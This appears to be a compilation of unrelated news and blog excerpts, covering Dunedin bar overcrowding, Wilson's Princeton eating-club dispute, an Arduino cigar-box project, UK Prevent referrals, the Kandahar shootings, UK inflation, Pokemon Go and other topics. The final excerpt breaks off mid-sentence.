-Dunedin police are calling for action to prevent potentially deadly overcrowding at city bars.  Alcohol harm reduction officer Sergeant Ian Paulin said last week's district licensing committee hearing for Dunedin's Carousel bar highlighted the problems with the current system.  Carousel operator John Devereux admitted regularly breaching the second-storey bar's maximum occupancy of 50 people - in place because of risks of having only one exit - since the bar was established in 2006, but police did not find out about the limit until late last year.  Sgt Paulin said police did not know the occupancy limit of each of the city's bars and relied on what the duty manager told them at each visit.  ''We haven't got the time to follow up on every licensed premises visit the troops do and find out if that number is accurate,'' Sgt Paulin said.  If bars were breaching their maximum occupancy, which was not always obvious, there was a chance of things going ''hugely'' wrong in the event of a fire or other disaster.  ''There is massive potential for serious death and that has been well-documented overseas.''  This was why part of the police submission to Dunedin City Council's local alcohol policy (LAP) was for each bar to have to display its maximum occupancy next to the liquor licence.  The change would help both licence holders and enforcement agencies ensure bars were not overcrowded and had the potential to save a life.  Sgt Paulin was ''very'' hopeful it would be included in the LAP, which was to be voted on by the council soon.  At last week's hearing, Sgt Paulin said Southern District commander Superintendent Andrew Coster had called for an increased focus on overcrowding after being ''astounded'' after last year's All Blacks test match at the number of duty managers who had ''no idea'' of the maximum occupancy of their bars.
-Written by Anna Rubin ’15  We are pleased to announce another newly digitized collection: the Woodrow Wilson Correspondence in the Office of the President Records. Wilson was president of Princeton University from 1902-1910, Governor of New Jersey 1911-1913, and U.S. President 1913-1921. This collection contains correspondence between Wilson and University faculty, administrators, alumni, and parents, as well as departmental records and information on University projects that were taking place during his term, such as the construction of the Graduate College. Wilson’s Princeton presidency presented him with many challenges, the most ultimately significant of which was conflict over campus social life. In the first of a two-part series, we take a look at Wilson’s battle with the eating clubs.  Wilson was no great fan of the eating club system, which had begun in the mid-nineteenth century. He felt it drew energy, attention, and interest away from academics toward the social life of the college, and had a certain “snobbish” character about it. The clubs, then numbering 14, were the hub of the upperclassman’s life, providing a place for their members to eat, drink, and be merry in houses just off campus. Current members of clubs selected new members from the sophomore class, a process that would eventually become known as “bicker.” Wilson felt that the clubs’ allure overshadowed the college experience, as “it absorbs the attention and all the planning faculties of the undergraduate because all social ambitions turn upon it…His thought is constantly fixed upon that object throughout the first two years of his university course with a great intensity and uneasiness whenever he thinks either of his social standing, his comradeships or his general social consideration among his fellows.“ About a third of each class would not obtain membership to a club. As Wilson saw it, “their lot is little less than deplorable” because they were then, for their remaining two years, excluded from the central social life of campus. (Office of the President Records (AC117), Box 63, Folder 13)  In December 1906, Wilson presented a report to the Board of Trustees on the school’s current social conditions, expressing his hope to divide Princeton into residential quads, with members of all four classes in each quad and a faculty advisor overseeing each. Students would live and eat in their quads all four years, eliminating the necessity of the eating clubs entirely. Wilson thought this plan was “an indispensable accompaniment and completion of the preceptorial system,” another of Wilson’s innovations, reports of which can also be found in the records. (Office of the President Records (AC117), Box 63, Folder 13)  While the report claimed to be focused positively towards the intellectual growth of the University, rather than negatively towards the eating clubs, Wilson did make his feelings clear:  But, in spite of their admirable spirit and of every watchful effort they have made to the contrary, and by a process which neither they nor we could successfully control, a system of social life has grown up in the University by reason of their existence which divides classes, creates artificial groups for social purposes, and renders a wholesome university spirit impossible. Circumstances created, not by design, but by the inevitable operation of human nature, render a radical reorganization of our life imperative, if the main ends for which that life is meant to be attained.  The report was published in the Princeton Alumni Weekly, June 12, 1907, a copy of which is in Wilson’s files.  A sub-committee of the Board of Trustees responded in a report on social conditions on March 3, 1908. The committee agreed with Wilson’s assessment of the “evils” of the social life at Princeton:  Without attempting to detail these evils, or to emphasize them by citation of individual instances, it seems that the most important can be classified and summarized under the following heads: 1. The segregation of sophomores from other undergraduates; 2. The unfortunate position of upper classmen failing election to any club; 3. The distraction of undergraduates from their academic pursuits at times of, and incident to club elections, and because of the social demands upon their time; 4. The under classmen’s temptation to seek social advancement by choice of associates, tending toward snobbishness and incident extravagance. (Office of the President Records (AC117), Box 63, Folder 1)  But they diverged from Wilson here and did not propose to begin a residential quad or college system. Instead they moved to reform the club system, suggesting that no more clubs be created, that a small number of sophomores be admitted to the clubs at the beginning and middle of the year, and that faculty and the clubs “encourage closer relations and a better understanding.” Additionally, they suggested creating a University Club with open membership. They felt their proposed reforms would have the sufficient effect of mitigating the social evils of the university as they outlined, without revolutionizing campus culture or getting rid of “a system which contains much that is good and around which centre (sic) traditions and, to many, fondly cherished associations which should not lightly be done away with.”  Wilson’s reforms were not put in place to any lasting effect, but he remained interested in the issue long after his time at Princeton. He wrote to V. Lansing Collins, Secretary in the Office of the President at Princeton, in November 1923: “The subject matter of the report still interests me if for no other reason than because it led to the Trustees in their sagacity to kick me upstairs into the Governorship and Presidency.” (Office of the President Records (AC117), Box 63, Folder 13)  Concern for maintaining proper balance of social and academic life was a strain that ran throughout Wilson’s tenure as president. The debate also arose during discussions surrounding the construction of the new Graduate College. In the next installment in this series, we will take a look at Wilson’s loss in that fight over its location. Look for the second installment in this series in March.  Anna Rubin ’15 worked as an archives assistant at the front desk here at Mudd while completing her senior year at Princeton. She was heavily involved in the digitization of this collection.  Thanks to Julian Dean, a graduate student in Politics, who alerted us to an error in the caption for the photo of Colonial Club. We believe this photo was taken in 1905, not in 1906 as was originally stated.  Like this: Like Loading...
-As mentioned in my introductory post, it takes quite a bit of work to make my audio-reactive cigar box “tick.” The mechanical assembly comes in another post, but this is all about how it was programmed and wired. If you’d like to just skip to the Arduino code, it’s listed here. In case you forgot or missed it, here’s the video of this cigar box in action:  As for how everything works, keep reading, and I’ll try to explain what is going on in a bit more detail.  Microphone Input  Getting a correct signal from a microphone breakout is a bit more complicated than one might think; Instead of just measuring the voltage, you have to define a sample size as shown in this Adafruit post. I actually used something from Sparkfun, but I think they work very similarly.  One thing that I’m told would have helped my results, would be to put the servo motor on a separate signal while combining grounds. The servo draws a lot of power from everything, causing the microphone breakout to be thrown off at times. At least that’s my understanding. Also, if you’re using an Arduino, you’ll need to make sure to hook the supply voltage to the “AREF” pin as well to give it a voltage to compare it to.  Servo Control  The servo is hooked to PWM pin 5 as well as the + and – of the batteries. The code is written so that it varies how high it lifts to lid (2 positions now). It would likely be possible to make it directly proportional to the lid, but I haven’t tried this yet. If you’re going to do this, I used, and would recommend my servo-connecting header “component.” This little device makes connecting a standard to a servo wire to a breadboard quite easy.  LED Strip Control  There is some good tutorial material on Adafruit, and you can certainly check out my code to see what is going on there. The cool thing about these strips is that you can control all the LEDs in them with two wires, not including the +5VDC and and GND cable. Also, to change the number of LEDs under control, you just change the code and cut the strip. It’s a really cool device that I hope to play with more.  Wiring  Wiring for this project is provided through a small breadboard (this one – Amazon), and a lot of hookup wire. Even though there are some wires that could be run into the Auduino directly (LED strip signal wires for instance) running it into the breadboard first, then into the processor seems to keep things clean. This is especially important since the lid jumping up and down definitely has a tendency to pull the wires out.  Along with this, I plugged the servo into the breadboard using a technique outlined here. This double-ended header really makes it easy to remove or plug it in without too much hassle. All in all, I was quite pleased with how the wiring turned out.  Thanks for reading, if you’d like to see how everything was put together mechanically, check out this post.
-Shadow home secretary responds to figures showing more referrals for neo-nazism than Islamic extremism in parts of UK  Prevent strategy failing to rein in rise of UK's far right, says Diane Abbott  The government’s controversial counter-radicalisation strategy, Prevent, has failed to change the attitudes of those on the far right, the shadow home secretary has said in response to figures showing the number of referrals linked to neo-nazism is overtaking Islamic extremism cases in some parts of the UK.  Diane Abbott said the figures reflected “the alarming rise of far-right activity across the country”. “It also reflects the increasing confidence of far-right groups to air their views publicly,” she said on Monday.  “These figures are useful in proving what we already know, but the Prevent programme has failed to change the attitudes of those on the far right.”  UK's Prevent counter-radicalisation policy 'badly flawed' Read more  Ben Wallace, the security minister and MP for Wyre and Preston North, has highlighted the increase in far-right radicalisation in England and Wales. Figures show that almost 300 under-18s were referred to officials under the Prevent strategy last year. Of these, at least 16 involved children under the age of 10.  “The Prevent strategy is seeing a growth in far-right referrals,” Wallace told the House of Commons recently. “In some areas of the country, these Prevent referrals outnumber those about the other parts we are worried about.”  Data released by the National Police Chiefs Council (NPCC) under a freedom of information request from the Sunday Times shows that the number of far-right referrals in England and Wales has increased by 74%, from 323 cases in 2014-15 to 561 in 2015-16. About 292 cases, or 52%, involved under-18s.  “The Prevent strategy is misconceived because it limits legitimate safe spaces for discourse, places like classrooms and lecture theatres,” Abbott said. “We urgently need an anti-extremism strategy that addresses the subversive and veiled far-right activity that is allowed to fester in private.”  The NPCC figures come as Merseyside police investigate the appearance of stickers around Liverpool declaring that people were entering “Nazi-controlled zones”.  The stickers, posted by a neo-Nazi youth movement called National Action, were timed to coincide with Armistice Day and Remembrance Sunday.  Facebook Twitter Pinterest One of the neo-Nazi stickers that appeared in Liverpool to coincide with Remembrance Sunday. Photograph: Patrick Hurley/PA  “It’s the politics of hate. We’re seeing the rise of this sort of thing across the country, across the western world and it’s of huge importance that we all stand united against it and make sure there is no place for this sort of thing in Liverpool or anywhere,” Patrick Hurley, a Mossley Hill councillor said.  Britain’s Muslim communities have criticised the Prevent strategy as a toxic brand and a “big brother” security operation, but it was recently revealed that the programme is to be toughened up rather than scaled back as part of the government’s wider reworking of its counter-terrorism strategy.  The chief constable of Leicestershire police, Simon Cole, who is in charge of Prevent, said earlier this year that far-right extremists made up half of all cases in Yorkshire and 30% of the caseload in the east Midlands.  Prevent strategy to be ramped up despite 'big brother' concerns Read more  Nationwide, however, Islamic extremism is still the most common referral, with 2,810 cases making up 70% of those flagged up under Prevent.  The NPCC said it was worth noting that the Prevent duty, which sets out the obligations of public-facing bodies under the strategy, was introduced in July 2015 and has resulted in a significant increase in referrals of all types.  Ibrahim Mohamoud, a spokesman for Cage, an independent advocacy organisation, said on Monday: “What these figures suggest is that Muslims are still far more likely to be referred to Prevent in England and Wales.  “There still seems to be a great deal of dissonance between the way the authorities understand the role of ‘extremist ideology’ or ‘radical fundamentalist thought’ in the case of Muslims, and the subscription to far-right ideology.”  Yvette Cooper, the chair of the home affairs select committee, has said the fallout from the 23 June vote to leave the EU and Donald Trump’s victory in the US presidential election should serve as a warning about the dangers of whipping up hatred and prejudice in political campaigns, as MPs prepare to examine a spike in hate crime in the UK.  Police recorded 41% more hate crimes in July 2016 than in the same month the previous year, with a peak on 1 July, records show. Several high-profile attacks occurred in the aftermath of the Brexit vote, including the vandalising of the Polish community centre in Hammersmith, west London, and the death of Arkadiusz Jóźwik, a Pole who was attacked in Harlow, Essex.  Rashad Ali, a senior fellow specialising in extremism at the Institute for Strategic Dialogue thinktank, told the Times that in some areas of Wales, the proportion of Prevent referrals from the far right were “well over” 50%.  Ali said the rise in far-right extremism could be linked to the “loss of the centre ground” in today’s politics. “Whether it’s on the left or the right, the fringes are now leading the debate and the discussion,” he said.  Instead of fighting terror, Prevent is creating a climate of fear | Amrit Singh Read more  Ali argued that Trump’s election, with the endorsement of the KKK, and the rhetoric of Marine Le Pen, the Front National presidential candidate in France, were helping to “legitimise the world view” of fascists.  National Action is believed to have fewer than 100 members, but the group has a strong presence on social media, where it has celebrated Trump’s election with images of him captioned “white power”.  Matthew Feldman, the co-director of the centre for fascist, anti-fascist and post-fascist studies at Teesside University, said the radical right was “starting to mainstream its narrative following the decline of the BNP as the main party-political vehicle for radical right ideas”.  “This led to a proliferation of other groups like the Defence Leagues and Britain First – both of which are much more anti-Muslim than the more developed neo-fascist policies advocated by the BNP, including antisemitism and biological racism,” Feldman said.  “So it is a time of change for the far and radical right in the UK, although like the US, 2016 has been a very different year than most. The Brexit vote, like that of Trump’s election, seems to have sparked, at least for some, a kind of ‘celebratory racism’ whereby some hate incidents are apparently legitimated by the ‘trigger’ event of an enormous and unexpected victory.”  Feldman added, however, that the immediate context can obscure longer term developments, which may be driving the increasing far-right Channel referrals and Prevent cases over recent months and years.  “Over the last decade, governmental and media focus has been overwhelmingly concentrated upon the threat from jihadi Islamist extremism and terrorism,” he said. “Given finite resources and time, this has necessarily meant that less attention has been trained upon the radical right, which has increasingly turned to the lowest common denominator of anti-Muslim bigotry since 7/7.  “In this, as the BNP had already recognised in 2005, turning away from racial to religious hatred was a potential issue that could break into the mainstream. Unlike in the past, the lowest common denominator of Islamoprejudice has allowed a number of different types of radical right groups, such as the counter-jihad movement, which are street-based and party political, to work together locally in places like Dover, Swansea and Newcastle.  “The increase in far-right referrals therefore comes as little surprise to those monitoring the radical right during these years of upheaval, both for radical right groups and domestic politics in Britain.”
-Militants in Afghanistan have launched an attack on a government delegation visiting the site where a US soldier killed 16 civilians.  Two of Afghan President Hamid Karzai's brothers and several top security officials were in the delegation in Panjwai in Kandahar province.  One Afghan soldier and three of the militants were killed, police said. The delegation is heading back to Kandahar.  The US soldier said to have carried out Sunday's attacks is under arrest.  A US military official said that "probable cause" had been found, meaning they could continue to hold the soldier. The unnamed 38-year-old staff sergeant is being held at an undisclosed location.  'No rush to exits'  A senior Afghan official confirmed to the BBC that an attack "from several directions" had taken place on the delegation, which was there to meet villagers and tribal elders. Afghan forces returned fire.  The BBC's Bilal Sarwary in Kabul says officials reported a 10-minute gun battle during which Taliban fighters fired from a distance at a mosque where the delegation and civilians were taking part in a prayer service.  Analysis President Karzai is personally involved in Kandahar - it is his home province and he has close relations with tribal elders. He, his friends and his brothers have all been working around the clock to say the soldier will be brought to justice and that taking to the streets in violent protest is not in the interests of the Afghan people or the Afghan government. Afghanistan will push for a US trial of the soldier which one aide said should be "in open court, in the presence of the media in weeks or months, but not years". If guilty, Kabul would demand the death penalty. It also wants those in charge at the base to be held responsible for not preventing the soldier's attack. On the issue of Nato, senior members of the Afghan government say any premature withdrawal will undermine the entire mission and the only people to benefit would be the Taliban.  Panjwai police said that in addition to the soldier killed, two other people, including an intelligence officer, were wounded.  One of Mr Karzai's brothers, Qayum, told the Associated Press news agency it appeared initially that the attack was not serious and the delegation "assumed that it was the national army that started to fire in the air".  He said the delegation, which included Kandahar's governor and the minister of border and tribal affairs, was safe and returning to Kandahar city.  A member of the delegation, Abdul Rahim Ayubi, told AP the governor was trying to explain to locals that the shooting was an isolated incident.  "But the people were just shouting and they were very angry. They didn't listen to the governor. They accused him of defending the Americans instead of defending the Kandahari people," Mr Ayubi said.  Anti-US sentiment is already high in Afghanistan after soldiers burned some copies of the Koran at a Nato base in Kabul last month, sparking deadly riots across the country.  On Tuesday morning, some 600 students took part in a rally in the eastern city of Jalalabad, condemning the Kandahar attack and chanting "Death to America! Death to Obama!".  In Washington, US President Barack Obama said America was "heartbroken over the loss of innocent life", and promised no effort would be spared in investigating the shooting and bringing the culprit to justice.  "We will follow the facts wherever they lead us," he said, "and we will make sure that anybody who was involved is held fully accountable with the full force of law."  He also insisted that the US will "responsibly" withdraw its forces between now and the end of 2014, the date he set with allies to close out the war, dismissing media speculation that he might speed up the process.  US Defence Secretary Leon Panetta said the soldier who has been detained in connection with the Kandahar shootings could face the death penalty if found guilty.  The Taliban has renewed threats of revenge attacks, saying it would behead "sadistic" American soldiers.  'Cowered in fear'  Details about Sunday's shootings are still unclear. The American soldier left his base in Kandahar in the early hours and went on a rampage in nearby villages.  Previous tension points February 2012: Deadly protests after US troops inadvertently burn Koran  Deadly protests after US troops inadvertently burn Koran January 2012: Video shows US marines urinating on dead Afghans  Video shows US marines urinating on dead Afghans March 2011: Radical US pastor burns Koran, triggering deadly protests  Radical US pastor burns Koran, triggering deadly protests April 2008:Protests against cartoon of Prophet Muhammad in Danish newspapers  Locals told reporters how they cowered in fear as the man made his way from door to door, trying to get into their houses.  "I saw a man, he dragged a woman by her hair and banged her head repeatedly against the wall. She didn't say a word," one witness said.  He broke into three houses and killed 16 people, most of them women and children. He then burned their bodies, according to reports.  The US defence secretary said the soldier "came back to the forward operating base and basically turned himself in, told individuals what had happened".  Pentagon officials said they would not release his name while the investigation was going on.  Reports said the soldier, who has three children, had been deployed to Afghanistan in December for his first tour of duty there after serving three times in Iraq.
-Codi Wilson, CP24.com  Police say a cyclist has been charged with careless driving after he posted a stunt video on Instagram that showed him weaving in and out of traffic riding only on his back wheel.  The cyclist, who posted the video on the Instagram account for My Little Bike Shop, was seen heading southbound on Yonge Street, south of Wellesley Street, with his front wheel in the air, swerving in and out of traffic. At one point during the video, the cyclist is seen briefly biking on a busy sidewalk.  Police say the incident occurred on June 17 at around noon.  The video was later posted on the Toronto Police Service’s Instagram account with the caption, “Thanks for the video, great riding skill, but dangerous cycling behaviour… YOU now have our attention.”  The caption went on to say that the video showed “evidence of careless driving under the HTA” in addition to multiple by-law offences.  “This is essentially a perfect example of poor cyclist behavior,” he said. “He could have been killed. He went through a red light between oncoming traffic.”  The cyclist defended his actions in a subsequent Instagram post.  “I never crashed, I never hit anyone, and didn't commit any sort of hit & run. I never even made / make anyone slow down, hit their brakes or cause them to pull last second maneuvers,” the post read.  “Yes, maybe a little dangerous, but I am a expert, have been doing this my entire life and have NEVER had an accident or caused an accident while on the streets of Toronto, while on my bike (one wheel or two).”  On Monday, police announced that the 28-year-old cyclist had been charged.  He is scheduled to appear in court next month.
-Piracy websites can be targeted by the US and UK regardless of where they're hosted or which domain they use, according to legal experts.  The US Immigration and Customs Enforcement (ICE) agency has been taking down sites with illegal content and targeted one UK student with extradition, despite the content not being hosted in the US.  Erick Barnett, assistant deputy director for (ICE), told The Guardian that any site that uses a .com or .net domain name is fair game, as those are registered through US company Verisign.  "By definition, almost all copyright infringement and trademark violation is transnational," he told the newspaper. "There's very little purely domestic intellectual property theft."  People do not understand the extra-jurisdictional nature of the internet  Iain Connor, a partner in the intellectual property division at law firm Pinsent Masons, said the situation was similar in the UK - but a site need not even use a .uk address to be taken to court, despite a general belief to the contrary.  “You look to where the website’s directed,” Connor told PC Pro. While a web address can be one part of that, courts will also look at what language it's written in, what currency it takes payments in, and who advertising is directed at.  “It’s a myriad of factors which will determine whether a UK court feels it has jurisdiction, because the test for jurisdiction is where the damage is occurring.  “People do not understand the extra-jurisdictional nature of the internet,” he added. “They think, 'I can do it here so it’s okay everywhere'. People need to be aware is that of course the nature of the internet means they can be conducting an illegal act overseas even when the act may or may not be illegal in the country they are based.”  Extradition questions  The issue affects 23-year-old student Richard O’Dwyer, who faces extradition to the US because his site TVShack.net allegedly linked to pirated content.  O’Dwyer’s family and defence have questioned why the US is targeting him when a similar case, over website TV-Links, was dismissed from UK courts. However, Connor suggests the comparison isn’t valid.  “That was a Crown Court criminal prosecution, where the burden of proof was unreasonable doubt. Most copyright cases are done on the balance of probability,” he said, adding that criminal burden of proof is an "incredible" level to satisfy.  "And, criminal cases are not in any way precedent forming… people point to that case, but so what? If I got off shoplifting in the past, does that mean shoplifting is now legal? No.”  And because O'Dwyer's site used the US-based .net domain, US authorities can take action, and will choose to do so in their own courts because they're more likely to win.  There’s a diminishing global sympathy for people who are aggregating other people’s content unless they’ve got a license to do it  "If you’re looking globally and forum shopping for a court that is likely to give you a better result, the simple fact of the matter is, as a US company, dealing with US content, in front of a US court under US copyright law, you’ll stand a better chance of securing the result you want," Connor said.
-This post was contributed by a community member.  On this date two years ago, Gov. Maggie Hassan signed HB 573, making New Hampshire the last state in New England to approve a medical marijuana law. Unfortunately, so far this law has failed to benefit patients in any way, and it still is not clear when it will finally begin to do so.  Nearly a year ago, I published this commentary on New Hampshire's medical marijuana law at Fosters Daily Democrat. Sadly, very little has changed in the last year, so the following statements remain entirely accurate:  "Patients who have been waiting desperately for legal protection have yet to experience any actual compassion from the executive branch." "The challenges facing patients are compounded dramatically by the fact that New Hampshire still maintains such harsh penalties for simple marijuana possession… the penalty for possessing even a tiny amount of marijuana in New Hampshire is up to a year in jail and a fine of up to $2000." "As a result of these delays, today many NH patients are forced to continue using dangerous and addictive drugs such as OxyContin rather than being able to benefit from the use of a safer alternative."  The human consequences of this policy failure have been substantial. Some, including well-known patient-advocate Clayton Holton, have passed away while waiting for the law to take effect. Others, such as Ron Mitchell, have had no choice but to leave their families behind and move to another state in search of relief.  Patients received some good news in late May when the Department of Health and Human Services finally selected three applicants to move forward with their plans to operate four dispensaries in the state. However, the state cannot guarantee that these four dispensaries will be able to open and begin serving patients in a timely fashion. And, since the success of the program depends entirely on the success of these three dispensary applicants, patients are still left with more questions than answers with regard to the program's future.  If you're interested in learning more about why this law has not yet fulfilled its purpose, I hope you will take time to read the Marijuana Policy Project's new two-year retrospective on New Hampshire's "Therapeutic Use of Cannabis" program. Titled "Confusion, Delays, and Continued Arrests," it includes the most recent updates, analyzes why the law is not yet effective for patients, and makes recommendations for improving the law and policy moving forward.  Additionally, for those who may continue to doubt the efficacy of cannabis for therapeutic use, I hope you will take time to familiarize yourself with research published last year by the Journal of the American Medical Association, which found that "Medical cannabis laws are associated with significantly lower state-level opioid overdose mortality rates."  It simply makes no sense to continue denying patients legal protection if their medical providers believe they could benefit from using cannabis instead of relying solely on prescription drugs such as OxyContin. But in New Hampshire, that is still exactly what is happening.  In one particularly high-profile case, Thomas Orkney, a 58-year-old Navy veteran suffering with a traumatic brain injury, was arrested by Lebanon police and charged with a misdemeanor for possessing less than one-half ounce of cannabis in his apartment. This man was charged with a crime despite the fact that he showed police his medical marijuana certificate from another state and told them he had obtained the cannabis from a state-legal dispensary.  Mr. Orkney's arrest plainly contradicted the assurances legislators have continually received from the New Hampshire Association of Chiefs of Police. "We're not arresting patients in their homes," the association's president, Enfield Chief Richard Crate, told the Associated Press in 2013.  Even if Mr. Orkney had not been a patient, his possession of cannabis would not have even been considered a criminal offense in any other New England state. All other New England states have decriminalized simple possession in addition to implementing effective medical marijuana laws.  Sadly, the question I posed at the end of the Fosters editorial last year still seems appropriate:  "Is this really supposed to be somebody's idea of compassion?"  Matt Simon is the New England Political Director of the Marijuana Policy Project.
-Memphis Depay may have stolen all the headlines as Manchester United returned to European competition against Club Bruges on Tuesday night, but there was further cause for optimism at Old Trafford.  Summer singing Bastian Schweinsteiger, a half-time substitute for Michael Carrick, showed United fans what they could expect from the World Cup-winning midfielder this season.  In his 45-minute cameo the former Bayern Munich star made more passes than any of the Bruges players made in the entire 90 minutes.  Bastian Schweinsteiger was introduced at half-time against Club Bruges on Tuesday night  The Germany midfielder attempted more passes in 45 minutes than any Bruges player did in 90 minutes  The 31-year-old Germany international even put his own team-mates to shame during the 3-1 first-leg victory over the Belgians as United bid to return to the Champions League group stage.  Schweinsteiger attempted a total of 54 passes - more than Wayne Rooney managed in 84 minutes, Memphis Depay in 90 minutes and Adnan Januzaj in 72 minutes.  Only fellow new signing Morgan Schneiderlin came close to matching Schweinsteiger's impressive figures. The France midfielder attempted 90 passes in the whole game, which averaged out per half still falls nine short of the German.  For Bruges, Oscar Duarte made the highest number of passes. The Costa Rican defender, who helped shut out England at the 2014 World Cup, tried to find team-mates on 44 occasions.  Carrick made way for Schweinsteiger as Louis van Gaal admitted he wanted to build up German's fitness  PASSES ATTEMPTED Manchester United Morgan Schneiderlin (90 mins) - 90 Daley Blind (90 mins) - 69 Juan Mata (90 mins) - 68 Bastian Schweinsteiger (45 mins) - 54  United fans have been waiting patiently to see more of marquee signing Schweinsteiger, who has been eased in gently over the first weeks of the season by manager Louis van Gaal.  The Dutchman revealed after Tuesday's win in their Champions League qualifier that he brought Schweinsteiger on to build up his fitness.  'It was a tactical substitute but also I have to build up the games of Bastian Schweinsteiger because we need him in our team. He came to the USA (on the pre-season tour) out of a holiday. I'm sorry but then you are not fit.'  United scored in the final few seconds against Bruges when Marouane Fellaini met Depay's superb cross after the Holland forward announced himself to the Old Trafford crowd with two superb strikes.
-New Handheld Game Console Capable Of Running All PC Games  Author: Jeff Taylor  With the rise of tablets, mobile phones, and notebooks, the desktop market is being kept alive in large part due to PC gaming enthusiasts (and grandparents). PC gaming allows you to experience the fastest frame rates, the best graphics, and the largest and least expensive library of games – the downside is that it’s not exactly portable. Good luck enjoying the latest PC games while you’re stuck in layover at the airport or waiting for a bus, and have fun hauling your entire rig back and forth to a buddy’s house every weekend.  There’s got to be a better way…  PC gaming is amazing, but we’ve always had to make sacrifices when it comes to the convenience of portability. Dumb little mobile games are popular as hell because you’ve always got your phone on you. But now there’s a portable device that’s small enough to fit in your pocket, but that packs a real punch graphically.  The PGS is a new handheld that’s capable of playing PC games at 1440p. It comes loaded with Windows 10, supports Steam games, has 8 gigs of ram, and a 128 gb hard drive. The battery can last for up to 5 hours with very demanding games, and even longer for less graphically-demanding games. There are two versions available, Hardcore and Lite. The lite version has half the ram, half the storage, and runs at 720p. Still, on a 5.5 inch screen, that’s really not the end of the world.  Along with Windows 10, this device promises to allow players to dualboot into Android 6 as well, on the 2nd screen.  Depending on which model you want, it will cost around $220-$260, which actually seems unbelievable – so we’ll give them the benefit of the doubt while remaining cautiously optimistic. Here’s a video from a Kickstarter that they apparently decided not to launch after all:  Disclaimer: This is a prototype video, and when somebody in the comments called them out on simply disassembling a Linx 7″ Tablet PC, the creators of the PGS said this video isn’t complete yet and responded as follows:  We did not plan to show an early prototype of the public. Before starting the assembly of more complex solutions, we had to ensure the consistency of decisions. It is normal practice for small companies.  So far the general reaction to this device has been skepticism, for numerous reasons. A lot of doubts come to mind, like how hot would this little thing get? There can’t be a lot of room in there for fans or ventilation, plus it’s pushing out some real power, with a big battery to boot. How are they including a full version of Windows, all of this hardware, two HD screens, and selling it for a couple hundred bucks?  The PGS is set to be available near the end of this year. You can visit their website here. Let us know your initial reactions, impressions, and thoughts about this device. Are you getting your hopes up, or do you plan on waiting until you can actually hold it before getting too excited? Just because it sounds too good to be true, doesn’t mean it isn’t… That’s how the saying goes, right?  *Update*  We reached out to the PGS Team for a follow up, and this is their response:
-In regard to directing another Star Trek movie, J.J. Abrams said, “I don’t know. The idea of working with these people again would be a thrill and a privilege. One of the reasons I wanted to do the second one was so I had a chance to work with this cast and crew again.”  J.J. Abrams added, “It really would depend if there’s a third movie that the studio wants to make. It would depend what the schedule was. Would I be open to it? Of course I would.”  Most are assuming that Paramount will want to release Star Trek 3 in 2016 to coordinate with the 50th anniversary of Star Trek. With Star Wars Episode VII set to hit theaters in 2015, a 2016 date would probably be a challenge to work for J.J. Abrams' schedule, but it still might be possible if the release date is late in 2016.
-LONDON (Reuters) - British inflation hit its highest level since September 2013 last month, extending its sharp rise since the vote to leave the European Union and tightening the squeeze on living costs as a national election approaches.  Consumer prices rose by an annual 2.7 percent, data showed, and they look set to rise further due to the fall in the value of the pound and the recent rise in global oil prices.  Britain’s economy was barely ruffled last year by the shock vote to leave the EU. But the steady rise in inflation since then, combined with weak wage growth, has slowed its momentum this year.  The opposition Labour Party on Tuesday sought to highlight rising costs for voters as it launched its policy proposals for the June 8 election, pledging a higher minimum wage and state involvement in the energy sector to keep prices down.  Last week, Bank of England (BoE) Governor Mark Carney warned 2017 will be challenging for consumers, with inflation now almost certain to overtake wage growth.  “The last thing Britain needs is another real wage slump. But rising prices are hammering pay packets,” Trades Union Congress General Secretary Frances O’Grady said.  Prime Minister Theresa May called the snap election last month to strengthen her mandate to negotiate Britain’s exit from the European Union. But living standards are a big campaign issue, pushing her party into a promise to cap energy prices that breaks with its usually pro-market agenda.  Despite the rise in inflation, however, the economy is far from overheating, and all but one of the BoE’s eight policymakers voted last week to keep interest rates on hold.  Prices are displayed on a store window in London, Britain May 16, 2017. REUTERS/Neil Hall  AIRFARES SWING IN EASTER  The latest inflation figures were boosted most of all by rising airfares during the Easter holidays which last year took place in March. Rising clothing prices, higher car tax and electricity also pushed up consumer prices.  Many economists see more inflation ahead.  “We remain convinced that the market is underestimating the further upside for inflation from here,” Scotiabank analyst Alan Clarke said. He expects utility bills, food costs and the weak pound to put more pressure on prices in future.  Sterling briefly spiked to its highest in almost a week against the dollar before falling back. GBP=D4  Many economists say the impact of the fall in sterling on consumer prices will be felt more strongly in the coming months, and the central bank expects inflation to peak at nearly 3 percent by the end of this year.  Capital Economics said it expected inflation to exceed 3 percent before the end of the year but saw little sign of domestic inflation pressures becoming entrenched.  Excluding oil prices and other volatile components such as food, core consumer price inflation rose to 2.4 percent, the strongest rate since March 2013 and above economists’ expectations for a 2.2 percent rise.  Slideshow (6 Images)  Services prices - which the BoE uses as a guide to domestic inflation pressures - rose by 3 percent, also the biggest jump since September 2013, pushed up by the higher air fares.  The ONS said house prices in March rose at their weakest rate since October 2013, up 4.1 percent on the year. Prices in London rose 1.5 percent, the weakest since March 2012.
-Why were dozens of New Orleans residents wandering around the edge of Big Lake in City Park after dark on Sunday (July 10), studying the screens of their iPhones and uttering strange words such as "Pidgey," "Crobat" and "Gyrados?"  They were engaged in a sort of digital-era, imaginary, hunting expedition called Pokemon Go that, since its debut Thursday (July 7), is gaining on Twitter in the number of daily users, according to Forbes Magazine, and has added $11 billion to the value of Nintendo, the company that conceived it, according to the Quartz website. Early on, the avalanche of game users overwhelmed servers, bringing the hunt to a temporary halt.  Pokemon Go player Josh West explained the activity like so: "Basically, Nintendo released an app about a week ago that uses your GPS (the satellite-guided Global Positioning System) in your area to give you a map, and it just places Pokemon all over the map."  Before Nintendo sprinkled Pokemon all over the virtual landscapes of the United States, Australia and New Zealand (with the rest of the globe, too, presumably following) the creatures dwelt on Japanese trading cards, comic books, a long-running animated television adventure series and in video games. According to Wikipedia, the Pokemon game series "is the second-most successful and lucrative video game-based media franchise in the world, behind only Nintendo's Mario franchise."  Harmlessly capturing Pokemon is the goal. The rarer the mythical creature the better. Practically anyone born after Pokemon was invented in 1995, or anyone who has had a child in the Pokemon era, knows all about it.  The big difference between Pokemon Go and past Pokemon products, is that the new game requires players to leave their lairs and traverse the analog terrain.  "It's '90s nerd nostalgia and it's making everybody get off their behinds and go places," player Cameron Hawkins said. Truth be told, Hawkins used a more colorful term than "behinds."  Playing Pokemon Go - Jan Domingue, Nalita Rosales, and Kammie Pom (Photo by Doug MacCash / NOLA.com | The Times-Picayune)  Several players agreed that getting out of the house was, indeed, a big part of the draw. Michael Flynn, whose face was flecked with sweat, said that he'd walked "14 kilometers" on Saturday (July 9), which, he added, was "pretty far" for him. Mohammad Alkurd said that he and his 